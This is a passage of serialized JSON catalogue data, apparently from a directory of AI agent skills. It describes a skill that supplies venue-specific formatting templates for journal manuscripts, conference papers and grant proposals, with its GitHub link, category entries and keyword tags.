manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[219,222,225,226],{"categoryNo":220,"categoryName":221,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":223,"categoryName":224,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},[228,229,230,231,232,233,234,235,136,236,139,140,141,237,238,239,240,241,186,242],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]